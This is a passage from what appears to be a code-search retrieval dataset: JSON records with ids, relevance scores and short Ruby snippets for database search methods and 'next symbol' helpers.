"text": "def search\n \t\tquery = Developer.all\n \t# if email.present?\n # query = query.where(\n\t # 'developers.email like :email ',\n\t # email: \"%#{email}%\"\n\t # )\n\t # end\n \n query = query.joins(:developer_languages).where( developer_languages: {language_id: language_id}) if language_id.present?\n query = query.joins(:developer_programming_languages).where(developer_programming_languages: { programming_language_id: programming_language_id }) if programming_language_id.present?\n \n\n query.order(created_at: :desc)\n \tend",
"title": ""
},
{
"docid": "f2be235e1aafa049e29f6ecee16f78d9",
"score": "0.55124855",
"text": "def table_scan(args)\n results = @table.to_set\n args.each_pair do |col, value|\n results = restrict_with_table_scan(col, value, results)\n end\n results.to_a\n end",
"title": ""
},
{
"docid": "34c8aaa585d58c4882380975ea47cfea",
"score": "0.5512369",
"text": "def searched\n\n end",
"title": ""
},
{
"docid": "537f54539171d4f39a835a0b6b10c252",
"score": "0.55115104",
"text": "def allow_partial_search_for(*fields)\n @partial_search_fields = fields.map(&:to_sym)\n end",
"title": ""
},
{
"docid": "acc20afa7604d9d2e7accbfffabcdc8c",
"score": "0.5509137",
"text": "def search_and select,where\n sql = \"SELECT \" << select.join(',') \n sql << \" FROM #{@table_name}\"\n whereAnd = where.map do |k,v| \n\n if v.is_a?(Array) || v.is_a?(Set)\n k.to_s << \" IN ( \" << v.collect!{|a| \"'#{a}'\"}.join(',') << \")\"\n else\n k.to_s << \"='\" << v.to_s << \"'\"\n end\n end.join(' AND ')\n if whereAnd.length > 0 \n sql << \" WHERE \" << whereAnd \n end\n sql << \";\"\n @db.query(sql)\n end",
"title": ""
},
{
"docid": "33999f7c8e9ffca6114d41832b44bac0",
"score": "0.55075395",
"text": "def columns_includes?(field, columns)\n Hash[*(columns.flatten)].keys.include?(field) \n end",
"title": ""
},
{
"docid": "01ac04138b0e10b4fd330ebec8e73312",
"score": "0.5503063",
"text": "def full_text_search(cols, terms, opts = {})\n filter(\"CONTAINS (#{literal(cols)}, #{literal(terms)})\")\n end",
"title": ""
},
{
"docid": "7363f8a53c1bb4f922e68430b89cf6a5",
"score": "0.549005",
"text": "def find_column name; name &&= name.to_s.sub(/\\?$/, ''); columns.find { |c| name == c.name }; end",
"title": ""
},
{
"docid": "abfa8cb11b5fe42170f87e48a618fc76",
"score": "0.5484061",
"text": "def match_column_ind_pda(value)\n begin\n columns = [\"municipality_name\", \"pda_date\", \"incident_type\"]\n target = \"\"\n conn = open_db() # open database for updating\n columns.each do |column| # determine which column contains the specified value\n query = \"select \" + column +\n \" from common\n join ind on common.id = ind_pda.common_id\"\n conn.prepare('q_statement', query)\n rs = conn.exec_prepared('q_statement')\n conn.exec(\"deallocate q_statement\")\n results = rs.values.flatten\n (results.include? value) ? (return column) : (target = \"\")\n end\n return target\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend",
"title": ""
},
{
"docid": "74559ecb6b776f7125ddff56f537930e",
"score": "0.547863",
"text": "def search(attribute)\n\t\tself.id == attribute || \n\t\tself.firstname == attribute || \n\t\tself.lastname == attribute || \n\t\tself.email == attribute || \n\t\tself.notes == attribute \n\tend",
"title": ""
},
{
"docid": "b0f8a387c28a3c68e6e74a229ea9c330",
"score": "0.5476398",
"text": "def index\n @trouble911s = Trouble911.all.paginate(:per_page =>15, :page => params[:page])\n .where(\"providername ILIKE ?\",\"%#{params[:name_search]}%\").where(\"phonenumber ILIKE ?\",\"%#{params[:phone_search]}%\").where(\"faxnumber ILIKE ?\",\"%#{params[:fax_search]}%\")\n end",
"title": ""
},
{
"docid": "decb422c45a752599471000c9662ea36",
"score": "0.5475211",
"text": "def search_text_fields\n self.content_columns.select {|c| [:string,:text].include?(c.type) }.map {|c| c.name }\n end",
"title": ""
},
{
"docid": "b1b8526dad8b5b0476676eab5f3cb06d",
"score": "0.5471831",
"text": "def find_rows\n @matched_rows = @content.select do |obj|\n field_to_search = obj[@selected_field]\n field_to_search = field_to_search.join if field_to_search.is_a?(Array)\n field_to_search.to_s.split.join =~ /#{@field_value}/i\n end\n print_results\n end",
"title": ""
},
{
"docid": "4737ad60144805b8e60d7df4ea0bc8df",
"score": "0.54629695",
"text": "def text_search(attr,params,act_relation,t_type)\n obj = \"%#{params[attr]}%\"\n act_relation.where([\"LOWER(#{t_type.constantize.table_name}.#{attr}) like LOWER(?)\",obj])\n end",
"title": ""
},
{
"docid": "c720c22b2e2889182d54158cba87bedf",
"score": "0.546168",
"text": "def full_text_search(cols, terms, opts = OPTS)\n where(full_text_sql(cols, terms, opts))\n end",
"title": ""
},
{
"docid": "156d2a8aeb55c3a0834bb11e1331f122",
"score": "0.5459968",
"text": "def search(param) \n end",
"title": ""
},
{
"docid": "bb7dc01d066713500130624e02ee4251",
"score": "0.54596573",
"text": "def index\n @idPharmacy = current_user.role.pharmacy.id\n @lots =Lot.where(available: true, pharmacy_id: @idPharmacy)\n\n # if params[:search]\n # @searchUpcase = params[:search].upcase\n # @product = Product.where(\"comercialname LIKE ? OR comercialname LIKE ?\", \"%#{params[:search]}%\",\"%#{@searchUpcase}%\").take(1)\n # @lots =Lot.where(available: true, pharmacy_id: @idPharmacy, product_id: @product.first.id)\n # else\n # @lots =Lot.where(available: true, pharmacy_id: @idPharmacy)\n # end\n end",
"title": ""
},
{
"docid": "e746a729ba83577ec64cbe937e7febb0",
"score": "0.54569596",
"text": "def index\n @conyugues = Conyugue.all\n if(params[\"palabra\"]!=nil)\n @conyugues=Conyugue.where(\"(nombre || ' ' || apellido1 || ' ' || apellido2) =?\", params[\"palabra\"]) \n end\n \n end",
"title": ""
},
{
"docid": "d62a0418c6e3dcfe6bfc81081f08b86a",
"score": "0.54543996",
"text": "def text_search(attr,params,act_relation,t_type)\n obj = \"%#{params[attr[:param_name]].downcase}%\"\n act_relation.where([\"LOWER(#{t_type.constantize.table_name}.#{attr[:attr]}) like ?\",obj])\n end",
"title": ""
},
{
"docid": "4be796e8a7e0d9545e18a2601708a45d",
"score": "0.54516107",
"text": "def search \n #@recipes = Recipe.where('recipe_name LIKE ? OR recipe_writer LIKE ?', '%'+params[:search_text]+'%' ,'%'+params[:search_text]+'%')\n #redirect_to recipes_path\n end",
"title": ""
},
{
"docid": "c5b2bbd4de5d50666ba517ab2e4171d2",
"score": "0.5450683",
"text": "def index\n @georeports = Georeport.all.paginate(:per_page =>15, :page => params[:page])\n .where(\"biznamechange ILIKE ?\",\"%#{params[:name_search]}%\").where(\"reportedby ILIKE ?\",\"%#{params[:report_search]}%\")\n end",
"title": ""
},
{
"docid": "994499aebcfc3846f5d17d71db127afe",
"score": "0.54434144",
"text": "def search(fw, vt, col)\n fw.puts \" case #{col}:\"\n fw.puts \" {\"\n space = \" \"\n col_class, sqlite3_type,\n sqlite3_parameters, column_cast,\n column_cast_back = bind_datatypes(\"search\") \n if $argD == \"DEBUG\"\n puts \"sqlite3_type: #{sqlite3_type}\"\n puts \"column_cast: #{column_cast}\"\n puts \"sqlite3_parameters: #{sqlite3_parameters}\"\n puts \"column_cast_back: #{column_cast_back}\"\n puts \"access_path: #{access_path}\"\n if col_class == \"union\"\n puts \"Union: #{@name}\"\n end\n if line != nil\n puts \"line: #{(line + 1).to_s}\"\n else \n puts \"line: nil\"\n end\n end\n case col_class\n when \"fk\"\n search_fk(fw, vt,\n sqlite3_type, sqlite3_parameters, \n column_cast)\n when \"data\"\n search_data(fw, vt, sqlite3_type,\n\t\t column_cast, column_cast_back)\n when \"union\"\n search_union(fw, vt) \n when \"base\"\n vt.search_base(fw)\n when \"rownum\"\n vt.search_rownum(fw)\n end\n fw.puts \" }\" # close case \n end",
"title": ""
},
{
"docid": "668c4c8a1d9bf3c0912e6e4077c68425",
"score": "0.5443218",
"text": "def index\n @compares = Compare.paginate(:page => params[:page], :per_page => 8).search(params[:search])\n #where([\"manufacturer_code LIKE ?\",\"%#{params[:search]}%\"])\n \n end",
"title": ""
},
{
"docid": "6fb182702fb5195053475e19af608f76",
"score": "0.5436029",
"text": "def search_column(collection, table_column, search_term)\n if table_column[:array_column]\n array_tool.search_column_with_defaults(collection, table_column, search_term)\n else\n table_tool.search_column_with_defaults(collection, table_column, search_term)\n end\n end",
"title": ""
},
{
"docid": "b72190bb1e0cca608d16325a2dedbe5c",
"score": "0.5431491",
"text": "def index\n @rooms = Room.all\n \n if params[:Cerca_aula] && params[:Cerca_aula] != \"\" \n @parameter = params[:Cerca_aula].downcase\n @rooms = @rooms.where(\"name like :search\", search: \"%#{@parameter}%\") \n end\n \n\n end",
"title": ""
},
{
"docid": "c009f21631ee31c9aa1b102ed7eaf5d3",
"score": "0.54292005",
"text": "def search\n\n if params[:query].present? && params[:restriction].present?\n sql_query = \" \\\n meals.restriction @@ :restriction \\\n AND (users.name ILIKE :query OR meals.name ILIKE :query) \n \"\n @meals = Meal.joins(:user).where(sql_query, query: \"%#{params[:query]}%\",\n restriction: \"%#{params[:restriction]}\")\n @restaurants = User.where(meals: @meals)\n \n elsif params[:restriction].present? && !params[:query].present?\n @meals = Meal.where(\"restriction ILIKE ?\", \"%#{params[:restriction]}%\")\n @restaurants = User.where(meals: @meals)\n ## @js_meals = @filtered_meals.to_s\n elsif !params[:restriction].present? && params[:query].present?\n @meals = Meal.joins(:user).where(\"users.name ILIKE ?\", \"%#{params[:query]}%\")\n else\n @meals = Meal.all# sorry food not available to be done\n end\n end",
"title": ""
},
{
"docid": "403b388d76574b7ca1a1d540c7fa440e",
"score": "0.5427572",
"text": "def search;end",
"title": ""
},
{
"docid": "f26b3b48f0187929733c074cff08be88",
"score": "0.5427324",
"text": "def search\n \tend",
"title": ""
},
{
"docid": "a0cfa85cc40dcfb971b8d57a4eb5d88b",
"score": "0.5426487",
"text": "def search_all(params)\n search_term = params[\"search_term\"].downcase\n @contacts.select do |contact|\n [:first_name, :last_name, :email, :notes].each do |method|\n contact.send(method).downcase.include? search_term\n end\n end\n end",
"title": ""
},
{
"docid": "78eed30ffe486cd93dbdd36c594a63f3",
"score": "0.54246885",
"text": "def columns(columns); end",
"title": ""
},
{
"docid": "8f4b5ac0985a498eb58b3b42f3f7fac7",
"score": "0.5420078",
"text": "def index\n @molecular_data = MolecularDatum.all\n\n if params[:search_key_gene]\n @molecular_data = MolecularDatum.where(\"gene_name LIKE ?\", \n \"%#{params[:search_key_gene]}%\")\n else\n @molecular_data = MolecularDatum.all\n end\n end",
"title": ""
},
{
"docid": "0c70368f980c13c98217c1a701729e52",
"score": "0.5419546",
"text": "def map_search(search, compare, year, rain_fall_type)\r\n if search == \"All\"\r\n if rain_fall_type == \"All\"\r\n where(Year: year).order(:id)\r\n else\r\n where(Year: year).order(rain_fall_type)\r\n end\r\n\r\n\r\n else\r\n # where(Districts: search)\r\n where(Year: year).order(rain_fall_type)\r\n end\r\n end",
"title": ""
},
{
"docid": "3e147f71b2ce402591e7d27f3fdadd82",
"score": "0.54175234",
"text": "def grep(cols, terms)\n filter(SQL::BooleanExpression.new(:OR, *Array(cols).collect{|c| SQL::StringExpression.like(c, *terms)}))\n end",
"title": ""
},
{
"docid": "f867ff222ca7ba77e4d86f7c629e5fd8",
"score": "0.5416169",
"text": "def search_field_fritekst?\n ['Alt','phrase'].include? params['search_field']\n end",
"title": ""
},
{
"docid": "8b03a32899a9555ce58e5da7131c1b1d",
"score": "0.54149806",
"text": "def search\n return @users.select{|el| el.created_at.to_s.starts_with?(params[:search_user]) || \n el.id.to_s.starts_with?(params[:search_user]) || \n el.fname.to_s.starts_with?(params[:search_user]) || \n el.lname.to_s.starts_with?(params[:search_user]) || \n el.email.to_s.starts_with?(params[:search_user]) || \n el.username.to_s.starts_with?(params[:search_user]) || \n el.isAdmin.to_s.starts_with?(params[:search_user]) || \n el[:DOB].to_s.starts_with?(params[:search_user]) || \n el.phoneNumber.to_s.starts_with?(params[:search_user]) || \n el.address.to_s.starts_with?(params[:search_user])}\n end",
"title": ""
},
{
"docid": "99d20ec734e52559cd82c377b0cb24fb",
"score": "0.54102343",
"text": "def index\n if params[:search].present?\n @names = params[:search].split(\" \")\n if @names.length > 1 \n @renters = Renter.where([\"first_name LIKE ? AND last_name LIKE ?\", \"%#{@names[0]}%\",\"%#{@names[1]}%\"])\n else\n @renters = Renter.where([\"first_name LIKE :search OR last_name LIKE :search\", search: \"%#{params[:search]}%\"])\n end\n else\n @renters = Renter.all\n end\n end",
"title": ""
},
{
"docid": "b471061507042d34839b9d93e7ec68ba",
"score": "0.540834",
"text": "def searchable_table\n { toggle: 'table', search: 'true', 'search-align': 'left' }\n end",
"title": ""
},
{
"docid": "7a637080a876b7cf4490b05a017852b7",
"score": "0.54045963",
"text": "def columns_insert_values(columns)\n searchable.key.map {|key_property| \"new.#{key_property.field}\" }.concat(columns.map {|column| \"new.#{searchable.send(column).field}\" }).join(\", \") \n end",
"title": ""
}
] |
e4c70295d0b8a629f551c917805f1c5b
|
New method : Get next symbol (Outdated function in early ver. Not used)
|
[
{
"docid": "0c06f2f48a39ce2d8e7011f3b4da090a",
"score": "0.59558624",
"text": "def next_is?(symbol)\n next_ary = animation_array[@anim_index + 2]\n return next_ary[0] == symbol\n end",
"title": ""
}
] |
[
{
"docid": "18645f77a8bb24a8e4df9f206815167d",
"score": "0.7946804",
"text": "def next_symbol\n nil # Default implementation\n end",
"title": ""
},
{
"docid": "045ca49d9fc9c7472e28c64858ac4f89",
"score": "0.7608",
"text": "def next_symbol\n vertex.next_symbol\n end",
"title": ""
},
{
"docid": "600ce41f68fa4970199cc8313ddb9312",
"score": "0.74732244",
"text": "def next_symbol\n @next_symbol ||= dotted_item.next_symbol\n end",
"title": ""
},
{
"docid": "47f73a53b2f81878c700c69ffdc60f95",
"score": "0.7099217",
"text": "def next_symbol\n position.negative? ? nil : production.rhs[position]\n end",
"title": ""
},
{
"docid": "5f36c0b6d6c94c8cc15c2856f220ed24",
"score": "0.67628026",
"text": "def next_symbol()\n return dotted_rule.next_symbol\n end",
"title": ""
},
{
"docid": "584495d1e521f7911f6a9c9d38136462",
"score": "0.672085",
"text": "def next\n loop do\n name = @digits.reverse.map {|d| @alphabet[d] }.join(\"\")\n sz = @alphabet.size\n\n i = 0\n loop do\n # increase or initialize with 0\n @digits[i] = @digits[i] ? @digits[i] + 1 : 0\n\n if @digits[i] >= sz\n @digits[i] = 0\n i += 1\n else\n break\n end\n end\n\n return name if valid?(name)\n end\n end",
"title": ""
},
{
"docid": "ef12b70cd750481e2143b883abb63a2a",
"score": "0.6686954",
"text": "def next\n available.first.to_s\n end",
"title": ""
},
{
"docid": "45985d37434e36bd3c1080887ab23c38",
"score": "0.65911984",
"text": "def get_symbol(s)\r\n @@symbols[s]\r\nend",
"title": ""
},
{
"docid": "f0cb0b1bdc8d6687630cd67e38384441",
"score": "0.6524571",
"text": "def next_address\n xdes[:list][:next]\n end",
"title": ""
},
{
"docid": "1aaa37235f8504eeb817a60e8c30f876",
"score": "0.6495575",
"text": "def next\n Address.new((@val + 1) % 2**48)\n end",
"title": ""
},
{
"docid": "3804f8b177d2a9693b9c060404331237",
"score": "0.6492086",
"text": "def getNext\n\t\treturn @next\n\tend",
"title": ""
},
{
"docid": "125f7e955a9c4320c37002ea484b6cf9",
"score": "0.64712",
"text": "def next\n @identity = (@identity[0]+1).chr\n end",
"title": ""
},
{
"docid": "bec6f58ad5a5b55695a1bca33a4a58aa",
"score": "0.6427398",
"text": "def get_next\n @next\n end",
"title": ""
},
{
"docid": "8dc3b0cd4daa243954f7de206b90902c",
"score": "0.63633883",
"text": "def next_key\n @next && @next.key\n end",
"title": ""
},
{
"docid": "a18b956d3c286cddd62f208bc59297de",
"score": "0.6287666",
"text": "def current_symbol\n offset_to_symbol current_offset\n end",
"title": ""
},
{
"docid": "9ad454ac9fb60c1e1e01c82d54259f49",
"score": "0.627873",
"text": "def next\n next_values.__svalue\n end",
"title": ""
},
{
"docid": "9e5a671ce978e4e3ecb3867af865ca5b",
"score": "0.6273101",
"text": "def get_next\n @input[index+1]\n end",
"title": ""
},
{
"docid": "35b9ff4b18dbc32a04f83f5a2f25d44f",
"score": "0.62518007",
"text": "def next_sequence_value; end",
"title": ""
},
{
"docid": "a81bc2e6e14b35e15ad1ce0322aade58",
"score": "0.62488276",
"text": "def succ\n @elemental.succ(@symbol)\n end",
"title": ""
},
{
"docid": "6ed01bc5df87af1ece7cb1b4b16e5b86",
"score": "0.62449425",
"text": "def next_reg_use by = 1\n int = @symbol[1,3].to_i\n sym = \"r#{int + by}\".to_sym\n RegisterReference.new( sym )\n end",
"title": ""
},
{
"docid": "9b723ae1a578493ab468c8152b88137d",
"score": "0.6233364",
"text": "def sym\r\n @sym\r\n end",
"title": ""
},
{
"docid": "9332919c0df16d2d6c37c880b9797ef4",
"score": "0.6222978",
"text": "def next(price)\n \n end",
"title": ""
},
{
"docid": "23d16ee39b21657bdb1cf094befa9022",
"score": "0.62067264",
"text": "def prev_symbol\n nil # Default implementation\n end",
"title": ""
},
{
"docid": "782dcf424bf44320ccb34a3c0d80cc12",
"score": "0.62022173",
"text": "def getNextToken; end",
"title": ""
},
{
"docid": "366d116ebbc10626cf393ddcccd4e7d7",
"score": "0.6192367",
"text": "def next\n @next\n end",
"title": ""
},
{
"docid": "3dfad2a59f3e49554040806eaf0441b3",
"score": "0.619233",
"text": "def current_symbol\n current_data ? current_data[:symbol] : nil\n end",
"title": ""
},
{
"docid": "3dfad2a59f3e49554040806eaf0441b3",
"score": "0.619233",
"text": "def current_symbol\n current_data ? current_data[:symbol] : nil\n end",
"title": ""
},
{
"docid": "d1b5ece42da4a863831260d3cc6a0db3",
"score": "0.6169523",
"text": "def next_bid\n if @last_bid == 'N'\n return '2'\n end \n \n if @last_bid == '2' \n return '3'\n end\n \n if @last_bid != '2' and @last_bid.slice(0,1) != \"m\"\n # we only add m (my) indetifer\n return \"m#{@last_bid}\"\n end\n \n if @last_bid.slice(0,1) == 'm' \n return @@CONTRACTS[@@CONTRACTS.index(@last_bid.slice(1,1))+1]\n end \n \n end",
"title": ""
},
{
"docid": "8c1a817c764be94ad68ab5a999d6be22",
"score": "0.6149386",
"text": "def next_hash; end",
"title": ""
},
{
"docid": "321ef41a7c1159e9784d87fd9d1dde1d",
"score": "0.61377054",
"text": "def get_next_entry; end",
"title": ""
},
{
"docid": "2bbea6af94744a15e533f84a41a40840",
"score": "0.6127001",
"text": "def next_term\n term.next\n end",
"title": ""
},
{
"docid": "8a32a471c54dcfda69e983897bcfa8ff",
"score": "0.6109083",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "8a32a471c54dcfda69e983897bcfa8ff",
"score": "0.6109083",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "cc7f851bc79fa11f6f8870b9b6921d86",
"score": "0.61075366",
"text": "def compileSymbol(symbol=nil)\n\t\tif checkSameValue(@tokenizer.getCurrItem, symbol)\n\t\t\tsymNode = getNewNode(\"symbol\", symbol)\n\t\telsif symbol == nil\n\t\t\tsymNode = getNewNode(\"symbol\", @tokenizer.getCurrItem)\n\t\telse\n\t\t\t#error here - symbol not what was expected\n\t\t\traise \"Wrong symbol found, looking for: #{symbol} but found: #{@tokenizer.getCurrItem}\"\n\t\t\texit\n\t\tend\n\t\treturn symNode\n\tend",
"title": ""
},
{
"docid": "cc7f851bc79fa11f6f8870b9b6921d86",
"score": "0.61075366",
"text": "def compileSymbol(symbol=nil)\n\t\tif checkSameValue(@tokenizer.getCurrItem, symbol)\n\t\t\tsymNode = getNewNode(\"symbol\", symbol)\n\t\telsif symbol == nil\n\t\t\tsymNode = getNewNode(\"symbol\", @tokenizer.getCurrItem)\n\t\telse\n\t\t\t#error here - symbol not what was expected\n\t\t\traise \"Wrong symbol found, looking for: #{symbol} but found: #{@tokenizer.getCurrItem}\"\n\t\t\texit\n\t\tend\n\t\treturn symNode\n\tend",
"title": ""
},
{
"docid": "f9b04a8efde8de7372324d778391b97a",
"score": "0.61038476",
"text": "def next(val)\n \n end",
"title": ""
},
{
"docid": "06eeb64ea46ab582d7c507ec5ae7ea0b",
"score": "0.60974497",
"text": "def get_next\n self.class.find(self.next)\n end",
"title": ""
},
{
"docid": "e5a24cc1391b9cc6e151dc5501bf0742",
"score": "0.60925496",
"text": "def next_ticker\n abstract\n end",
"title": ""
},
{
"docid": "54adb9a60edcea49be5c0ebeae061342",
"score": "0.6083824",
"text": "def next_instruction\n inst = @program[@current_inst]\n @current_inst += 1\n inst\n end",
"title": ""
},
{
"docid": "68fa8edaad073c9bc799e3bee2a6067f",
"score": "0.608227",
"text": "def get_next\n\t\treturn @head.next\n\tend",
"title": ""
},
{
"docid": "33d52f46bc590a3b5f3185f6154a6f59",
"score": "0.60783446",
"text": "def next\n @next ||= Issue.where(number: 1 + self.number).first\n end",
"title": ""
},
{
"docid": "aa4b07f42eb11b74fe8675e08a4d7aa3",
"score": "0.6066941",
"text": "def next_character\n @current += 1\n source[@current - 1]\n end",
"title": ""
},
{
"docid": "4f8698c869982b8b0008c4ddc04bc89b",
"score": "0.6061319",
"text": "def next_number(num)\n num.next\nend",
"title": ""
},
{
"docid": "5f2275d52512a637ec91bb21d2e05853",
"score": "0.605645",
"text": "def leadin()\n if @at == 0 then\n return nil\n else\n return @production.symbols[@at-1]\n end\n end",
"title": ""
},
{
"docid": "b9966bd5d0e69852185e1045d9f2893f",
"score": "0.60473627",
"text": "def next_event_code\n @list[@index+1].code\n end",
"title": ""
},
{
"docid": "17731a79e6438e71b17e556d4256075a",
"score": "0.6043778",
"text": "def get_reg(ssa_name)\n name = reverse_used( ssa_name )\n return name if name\n get_next_free(ssa_name)\n end",
"title": ""
},
{
"docid": "7bb94042953a8b01058c99ee975ae224",
"score": "0.6038777",
"text": "def next_mac\n \n mac_string = @mac.delete(\":\")\n mac_int = mac_string.to_i(16)\n mac_int += 1\n mac_hex = mac_int.to_s(16)\n result = mac_hex[0..1] + \":\" + mac_hex[2..3] + \":\" + mac_hex[4..5] + \":\" + \n mac_hex[6..7] + \":\" + mac_hex[8..9] + \":\" + mac_hex[10..11]\n return result\n \n end",
"title": ""
},
{
"docid": "fe9e09e461b396142c226250d1a7e397",
"score": "0.6036352",
"text": "def next_token; end",
"title": ""
},
{
"docid": "fe9e09e461b396142c226250d1a7e397",
"score": "0.6036352",
"text": "def next_token; end",
"title": ""
},
{
"docid": "60228e4689fad989618e82e89d9fc326",
"score": "0.60260135",
"text": "def get_next_card\n\n end",
"title": ""
},
{
"docid": "3638035b43b43ace0233162ad15d6088",
"score": "0.6017875",
"text": "def next\n @next\n end",
"title": ""
},
{
"docid": "647135c536a0b527df65eaec1509593d",
"score": "0.6014772",
"text": "def get_next()\r\n return @next_node\r\n end",
"title": ""
},
{
"docid": "647135c536a0b527df65eaec1509593d",
"score": "0.6014772",
"text": "def get_next()\r\n return @next_node\r\n end",
"title": ""
},
{
"docid": "5f5d13dc24d31f2fa43cbf0a81d96869",
"score": "0.60093206",
"text": "def next_key\n @stored[1] && @stored[1].key\n end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.6003528",
"text": "def symbol; end",
"title": ""
},
{
"docid": "2c4c741fb52753dce561efcfceec9d40",
"score": "0.60033363",
"text": "def symbol; end",
"title": ""
},
{
"docid": "660603475f1b8f3c317406f7696cb65e",
"score": "0.5996525",
"text": "def getRandomSymbol\n\t\t\t@symbols[rand(4)]\n\t\tend",
"title": ""
},
{
"docid": "f556344d1bd61e1ba236af458d390451",
"score": "0.59945613",
"text": "def next_key!\n @current_index = current_index + 1\n current_key\n end",
"title": ""
},
{
"docid": "90fed2549ea5b4297ae20294de3576f5",
"score": "0.59927666",
"text": "def next()\n ans = @a[@i].val\n @i += 1\n ans\n end",
"title": ""
},
{
"docid": "6865ce5c40734c8815bf68576d8b5428",
"score": "0.5984946",
"text": "def next_sequence\n return get_next_seq(@gzf_bin)\n end",
"title": ""
},
{
"docid": "0e699a0c1a597ab1734cf9d2680476d4",
"score": "0.59839356",
"text": "def next_char; end",
"title": ""
},
{
"docid": "9a63169f66b4092fc9cbbbc9142c78f9",
"score": "0.59823346",
"text": "def nextone\n\n end",
"title": ""
},
{
"docid": "0ac531089c96ddaaf0843e068dc4870d",
"score": "0.5973173",
"text": "def symbol\n Cproton.pn_data_get_symbol(@data)\n end",
"title": ""
},
{
"docid": "c13a09496c0743c8dd5cd91c1c22e626",
"score": "0.5971728",
"text": "def next\n Cproton.pn_data_next(@data)\n end",
"title": ""
},
{
"docid": "f3658060fff4f7451beadc928a8befbb",
"score": "0.5967831",
"text": "def get_sym(old = \"\")\n old = old.to_s.sub(/_:/, '')\n if !old.empty? && key?(old)\n self[old]\n elsif !old.empty?\n @num += 1\n # puts \"allocate #{@prefix + (@num - 1).to_s} to #{old.inspect}\"\n self[old] = @prefix + (@num - 1).to_s\n else\n # Not referenced, just return a new unique value\n @num += 1\n # puts \"allocate #{@prefix + (@num - 1).to_s} to #{old.inspect}\"\n @prefix + (@num - 1).to_s\n end\n end",
"title": ""
},
{
"docid": "849d81c1b5e232f900f276feb73ee06e",
"score": "0.5966296",
"text": "def next\n raise \"The 'next' method has not been implemented yet.\"\n end",
"title": ""
},
{
"docid": "4299c1406598879992454a1557e1f29b",
"score": "0.5960693",
"text": "def next\r\n \"#{@root}#{@cycler.next}\\\"\"\r\n end",
"title": ""
},
{
"docid": "f6e2f60e9dc03b1e555fbed4dd17c6e4",
"score": "0.59549314",
"text": "def next_value\n return \"x\" if first_move?\n last_move == \"x\" ? \"o\" : \"x\" \n end",
"title": ""
},
{
"docid": "210f227b8e25e1b25821ec3947c54bf3",
"score": "0.59535193",
"text": "def next\n @i=@i+1\n @i=0 if @i>@s.length-1\n return @s[@i]\n end",
"title": ""
},
{
"docid": "cba78d0b18d0c613cc5ac913993f3388",
"score": "0.5945077",
"text": "def next\n self + 1\n end",
"title": ""
},
{
"docid": "cba78d0b18d0c613cc5ac913993f3388",
"score": "0.5945077",
"text": "def next\n self + 1\n end",
"title": ""
},
{
"docid": "9c8140a7e19896fd6b6cad880bcbdc9f",
"score": "0.5943438",
"text": "def generate_symbol\n\t\tsym = (0...4).map{65.+(rand(25)).chr}.join.downcase.to_sym\n\t\tif Object.methods.include? sym\n\t\t\tgenerate_symbol\n\t\telse\n\t\t\tsym\n\t\tend\n\tend",
"title": ""
},
{
"docid": "07a8b72c63cc596808ad3f91f2a5351d",
"score": "0.59425074",
"text": "def next\n @idx += 1\n current\n end",
"title": ""
},
{
"docid": "6ea8dd446a9c066b08cbeb0da2dc76ad",
"score": "0.5935301",
"text": "def next_function(current_char, current_func, next_char)\n\t\tfunction = nil\n\t\t\n\t\thira_rank = get_rank_of_hiragana(current_char, next_char)\n\n\t\tbf_func = get_function_at(hira_rank, current_func) \n\n\t\treturn bf_func \n\tend",
"title": ""
},
{
"docid": "a3d41340ff47e3b8b909f4816057d4c0",
"score": "0.59282434",
"text": "def symbol\n @rule.symbols[@index]\n end",
"title": ""
},
{
"docid": "f104733474f82e9471eab1ef955227f6",
"score": "0.5927417",
"text": "def next\r\n @active_source ? @active_source.next : @str\r\n end",
"title": ""
},
{
"docid": "abc79a6faa457a80c561f16a6562cc46",
"score": "0.5916809",
"text": "def get_next\n unless @position == @history.length - 1\n @position += 1\n next_command = @history[@position]\n return next_command\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "dfe2ea1b58c1145c44774bdbb661582b",
"score": "0.59147966",
"text": "def next_word\n @pc += 2\n @mmu.word[@pc - 2]\n end",
"title": ""
},
{
"docid": "3ea83e5bbfecd23410933083e9998984",
"score": "0.59147763",
"text": "def get_next\n # return @tokens.delete_at 0\n begin\n if @position < @tokens.size\n @position +=1\n return @tokens[@position-1]\n end\n rescue\n return false\nend\nend",
"title": ""
},
{
"docid": "12f19d32bd6b1830bb64b05a02b7343f",
"score": "0.5914741",
"text": "def nextname\n self[:nextname]\n end",
"title": ""
},
{
"docid": "a2b4693f1b8f76da979b42cae781d22c",
"score": "0.5910996",
"text": "def next_symbol_maybe_repeated(first_char)\n Token.symbol(if (@characters.peek rescue nil) == first_char\n expect_character(first_char)\n \"#{first_char}#{first_char}\"\n else\n first_char\n end)\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "01509f1969c4d3e2f5d65967e6a8b83a",
"score": "0.5904967",
"text": "def next()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "16dd351558a29ed98e1469421e256a48",
"score": "0.5903587",
